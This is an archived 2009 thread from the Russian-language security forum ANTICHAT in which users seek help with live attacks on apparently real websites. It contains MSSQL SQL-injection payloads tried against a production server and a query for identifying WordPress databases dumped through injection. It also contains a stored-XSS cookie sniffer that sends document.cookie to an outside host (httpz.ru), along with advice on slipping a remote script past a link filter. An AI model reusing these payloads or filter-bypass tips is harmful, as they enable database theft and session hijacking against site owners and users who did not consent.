ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
19.08.2009, 13:56
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332
Репутация:
1196
|
|
Сообщение от InFlame
Существуют ли способы обхода фильтрации htmlspecialchars()?
вряд ли существует
|
|
|
19.08.2009, 13:59
|
|
Познающий
Регистрация: 19.04.2008
Сообщений: 67
Провел на форуме:
596695
Репутация:
19
|
|
Есть сервак Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1
на запросы типа
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)--
пишет mofo Incorrect syntax near the keyword 'TOP'.
@@version--
(select db_name())--
(select system_user)--
Выполняются без проблем. Как обойти?
|
|
|
|
19.08.2009, 14:50
|
|
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980
Репутация:
930
|
|
Сообщение от DeepXhadow
Есть сервак Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1
на запросы типа
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)--
пишет mofo Incorrect syntax near the keyword 'TOP'.
@@version--
(select db_name())--
(select system_user)--
Выполняются без проблем. Как обойти?
юзай поиск https://forum.antichat.ru/showthread.php?t=65041
|
|
|
|
19.08.2009, 15:09
|
|
Познающий
Регистрация: 19.04.2008
Сообщений: 67
Провел на форуме:
596695
Репутация:
19
|
|
1+or+1=(SELECT+1+max(TABLE_NAME)+FROM+INFORMATION_ SCHEMA.TABLES)--
mofo Line 1: Incorrect syntax near 'max'.
id=1+or(1=(select(max(table_name))from[information_schema].tables))--
mofo An aggregate may not appear in the WHERE clause unless it is in a subquery contained in a HAVING clause or a select list, and the column being aggregated is an outer reference.
ваще хз даж как это можно перевести....совокупности нет в запросе WHERE?
все остальное из той темы ругается или на TOP или на FROM. Пробовал в разных регистрах
Последний раз редактировалось DeepXhadow; 19.08.2009 в 15:12..
|
|
|
|
19.08.2009, 15:37
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
Провел на форуме:
11338585
Репутация:
441
|
|
Сообщение от DeepXhadow
Есть сервак Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1
на запросы типа
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES)--
пишет mofo Incorrect syntax near the keyword 'TOP'.
@@version--
(select db_name())--
(select system_user)--
Выполняются без проблем. Как обойти?
Раггейм решил похекать? ну-ну...
|
|
|
|
19.08.2009, 15:40
|
|
Постоянный
Регистрация: 20.08.2008
Сообщений: 348
Провел на форуме:
2200171
Репутация:
270
|
|
Всем привет ,Нашел скулю,порыл оказалось несколько баз WP,joomla, самого сайта база и еще пару штук,доступ ко всем базам есть.админку самого сайта я так и не нашел,даже базу ковырять не стал
Вопрос: как определить к каким сайтам принадлежат другие базы?если возможно конечно.
Ап вопрос решил)))
вытащил контент из базы,наешл сайт по гуглу )
Последний раз редактировалось Shadrin; 19.08.2009 в 16:16..
|
|
|
|
19.08.2009, 16:27
|
|
Banned
Регистрация: 27.06.2009
Сообщений: 200
Провел на форуме:
944465
Репутация:
68
|
|
Привет всем. Вопрос: Нашол активную xss, НО фильт обрезает все ссылки. То есть <script>alert()</script> катит, всплывает окошко, а при попытке впихнуть снифер обрезает ссылку. Например, <a href="javascript:void win('page1.html')">page1</a> вот такой код обрезает до <a href="
Помогите, спасибо зарание!
|
|
|
|
19.08.2009, 16:30
|
|
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме:
4038468
Репутация:
1224
|
|
Сообщение от Shadrin
Всем привет ,Нашел скулю,порыл оказалось несколько баз WP,joomla, самого сайта база и еще пару штук,доступ ко всем базам есть.админку самого сайта я так и не нашел,даже базу ковырять не стал
Вопрос: как определить к каким сайтам принадлежат другие базы?если возможно конечно.
Ап вопрос решил)))
вытащил контент из базы,наешл сайт по гуглу )
для WP:
Код:
select option_value from wp_options where option_name='siteurl'
|
|
|
|
19.08.2009, 16:31
|
|
Banned
Регистрация: 29.09.2007
Сообщений: 512
Провел на форуме:
4038468
Репутация:
1224
|
|
Сообщение от +casper+
Привет всем. Вопрос: Нашол активную xss, НО фильт обрезает все ссылки. То есть <script>alert()</script> катит, всплывает окошко, а при попытке впихнуть снифер обрезает ссылку. Например, <a href="javascript:void win('page1.html')">page1</a> вот такой код обрезает до <a href="
Помогите, спасибо зарание!
<script src=http://ссылка_скрипт_с_кодом.js>
|
|
|
|
19.08.2009, 17:43
|
|
Banned
Регистрация: 27.06.2009
Сообщений: 200
Провел на форуме:
944465
Репутация:
68
|
|
Некатит, может потому что xss во выдвигающемся меню, так только текс. А картинка наверное не грузится(
Вот в такой байде xss
<select name="poll_answer">
<option value="54033"><img src='h<script> img = new Image(); img.src = 'http://httpz.ru/123456.gif?'+document.cookie; </script></option>
</select> Сам код на страницу попадает, но из-за тегов нет обращения к картинке(((
Последний раз редактировалось +casper+; 19.08.2009 в 18:11..
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
